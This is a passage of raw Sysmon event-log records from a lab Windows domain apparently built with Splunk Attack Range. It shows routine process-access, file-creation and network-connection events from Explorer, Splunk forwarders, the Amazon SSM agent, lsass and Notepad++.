32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.723{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.723{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.723{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.708{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.708{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.708{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.708{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.394{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C6EEA7F5A53821DD8175C0E39EA2BF3,SHA256=76D3231CCBE771FD42A3F56C5D6FC2F81D6FB86BFBAFF657D78993B00DE46E8D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.394{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E859C4B81BC189C53DEA4EF5C30AFCDC,SHA256=B1B1F889084E110E60E7B92C0D2A3B961F05AD52DB1F36B122604C9CEB5173AB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41968|C:\Windows\system32\windows.cortana.Desktop.dll+16557|C:\Windows\system32\windows.cortana.Desktop.dll+12d9b|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000047089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.Desktop.dll+418c2|C:\Windows\system32\windows.cortana.Desktop.dll+41680|C:\Windows\system32\windows.cortana.Desktop.dll+92dc|C:\Windows\system32\windows.cortana.Desktop.dll+12d31|C:\Windows\system32\windows.cortana.Desktop.dll+15c7|C:\Windows\system32\windows.cortana.Desktop.dll+44bd|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000047088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0F-613B-9406-00000000F001}44806452C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0F-613B-9406-00000000F001}44806452C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.019{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.003{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.003{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\execmodelclient.dll+8e62|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000047082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.003{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\execmodelclient.dll+8d5e|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000014858Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:54.799{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014857Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:54.720{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B55F259014DC8C0078F4BB6B8829EA53,SHA256=8AF9CA1890229911ADD2EDDEEA052C7A409ECD912D5976E1A7E52B7CDCC5A148,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.458{7BD73061-7030-613B-FD0A-00000000F001}1176ATTACKRANGE\AdministratorC:\Program Files\Notepad++\notepad++.exeC:\Users\Administrator\AppData\Roaming\Notepad++\backup\AttackRangeSysmon.xml@2021-09-10_144948MD5=3855DBEDC347549A9CD80950D35CB0F1,SHA256=6145597A68BD65AAD14576269CE8621CB30C749B2EED82C89243436DD5B2D1DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.443{7BD73061-7030-613B-FD0A-00000000F001}1176ATTACKRANGE\AdministratorC:\Program Files\Notepad++\notepad++.exeC:\Program Files\ansible\AttackRangeSysmon.xmlMD5=1430C209EFF7FD5583D3D311A56A889C,SHA256=75358E8028A9D2A1CC1782C71200ED0E529269E98BDC3389937C592CA9D2EB8F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11F1A79718E8FD688A379402BFAEF6A2,SHA256=33FFB1AD29D544F9EDE0FC0B9A25CD938FF3E28479BF6929645CDC2B1A0B22B0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.117{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-044MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014859Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:55.736{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E96F363C6E674B660CE6B3B2F5ADEE88,SHA256=5FE6236E2E01B7D12CB64104EA83EB65D41F33FF0566F0965F31116156504085,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.773{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000047115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.504{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC7D1931E809C5DFFFFA93823A91EC76,SHA256=1B9E56A306CD0BDBD239C9036FECADBCF7DED30D04B474C4A3280126ABD112E0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.536{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59369-false10.0.1.12-8000- 23542300x800000000000000047113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.116{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-045MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.021{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000047120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.980{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59370-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000047119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.980{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59370-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 23542300x800000000000000047118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:56.710{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0543A31871E993A89C2B74F9713A39B8,SHA256=8209D5D90F983EF65F3924A50969B2B8FA0C0C745947AB5208B0C0E44586AAF7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:56.585{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E69C5CEAC79A5E209C038AC86B613F6D,SHA256=F1889DEDDABB92C2E93C3F3131CF15FD64AE8A76EC6A41B01FE489032AFE4849,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014861Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:56.767{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82C8646F75550E82F3709A13E87F5B56,SHA256=5E638965C44DF6A341E2F5AEAA8A2036ACAC7D55FDC8678B8878DB63F4589325,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014860Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:55.108{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50185-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000014862Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:57.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 